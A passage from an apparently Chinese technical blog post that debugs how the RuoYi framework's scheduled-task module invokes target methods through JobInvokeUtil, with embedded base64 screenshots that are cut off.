<p blockindex=3>从<a href=https://doc.ruoyi.vip/ruoyi/document/htsc.html#%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1>官方文档</a>可以看出可以通过两种方法调用目标类:</p>
|
||||
<ul blockindex=4>
|
||||
<li>Bean调用示例:ryTask.ryParams('ry')</li>
|
||||
<li>Class类调用示例:com.ruoyi.quartz.task.RyTask.ryParams('ry')</li>
|
||||
</ul>
|
||||
<p blockindex=5>接下来咱调试一下,看看具体是如何实现的这个功能的</p>
|
||||
<p blockindex=6>首先直接在测试类下个断点,看看调用</p>
|
||||
<p blockindex=7><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=8>通过系统默认的任务1来执行这个测试类</p>
|
||||
<p blockindex=9><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA2gAAAEuCAYAAAD7iDFlAAAgAElEQVR4nOzdf3Db933n+Sdd0wplSc5ZNgDKkrt2Ujs5EwcDJzNR1fp8YTUUfDhz3TS9xK1MbcQRuSNzd+shle2x1Q9ueJmKHHd2Fc2KGsoRrNrJJKfm6GINcVh6Erc6NZQGCAo6Sd3UGluyCKCWt6ZkMTJ95v3x/QL8AviCAH+JX8mvx4wnIfjFFx98vl9Q3xfen8/nWzU9PT2NiIiIiIiILLtblrsBIiIiIiIiYlBAExERERERcQgFNBEREREREYdQQBMREREREXEIBTQRERERERGHUEATERERERFxCAU0ERERERERh1BAExERERERcQgFNBEREREREYdQQBMREREREXEIBTQRERERERGHUEATERERERFxCAU0ERERERERh1BAExERERERcQgFNBEREREREYdQQBMREREREXEIBTQRERERERGHUEATERERERFxCAU0ERERERERh1BAExERERERcQgFNBEREREREYdQQBMREREREXGIW5e7ASI3u8nJX/HB1atMTU0xPT293M0RERERWRZVVVVUV1dz+8qV1NR8armb41gKaCJLaGLiMtc+/JDVq1axYsVtVFVVLXeTRERERJbF9PQ01659yOUrV5iammLNmtXL3SRHqprWV/oiS2Jy8ldc+eAD7lp7p4KZiIiIiGl6epp3L73HqttvVyXNhuagiSyRD65eZfWqVQpnIiIiIhZVVVWsXrWKD65eXe6mOJICmsgSmZqaYsWK25a7GSIiIiKOs2LFbUxNTS13MxxJAU1kiUxPT6t6JiIiImKjqqpKi6eVoIAmIiIiIiLiEApoIiIiIiIiDqGAJiIiIiIi4hAKaCI3kVS0h7ZdA8TtfpkeYn/3EKnr3SgRERERqZgCmsiNIDFA2672gv96iKatG6WIn0lB4BH8dvtInWc8HaE/uhgRLUH/rnb6E/a/TUV7Sv6ukuffGFJEu9vZvyj9KSIiImK4dbkbIJ8A6SH2d5+lfk8XQfdyN8Z5UtEe9kXKXOS7Q+w71IJntm0SEQbTHppaffa/97XQGminPxIhHmyxCXEJ+ktV37Jt2NNY0IYE/bsi3GtzbONHeohe72OeHmJ/d4TxQAuHd/gwQlQPg+myzyxSG+pib7BUj5v7JURrIPtYgv5dZ6g/ZNe3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 truncated
|
||||
<p blockindex=10><img src=data:image/png;base64,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 truncated
|
||||
在调用过程中,会发现在<code>com.ruoyi.quartz.util.JobInvokeUtil</code>类中存在两个名为<code>invokeMethod</code>的方法,并前后各调用了一次</p>
|
||||
<p blockindex=11><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB4AAAAQPCAYAAADxrPZWAAAgAElEQVR4nOzdd3gcxcHH8e/enXTSnXq3rW5bcpUt94Z7AwMGE4Ih9F5DC4QkBBIICfBC6KF3DARMKAaMm2zLvUkusmT13nU63ale3fcPdat32czneXiQtbszs3t7p9v97cxIY+fMlZHolNzqX1Kr//WI1OaHdsrvbLsuf9nuoo7Llzr9Z7dIUhd1dF1tdyuXu9W+dlbqwX417YfUm4PRWX2dl9fu8etDE3q+cY9ewS437car2a9NQJa7WW9X9XXdCKlb7ezb/jXth9yLg9Jmk/bLaHOsOq2q5/vT9rWQu7Vd59U3b9zla91hPZ00oMWibr9je7U//XG+Dv25ev6dp304RwVBEARBEARBEARBEARBEIRhQzHUDRB+DQYr/JVa/DeI27azSTeiqZ7XIwjni748YCIMIPG6CIIgCIIgCIIgCIIgCIIgnA8UPev9KwyM/u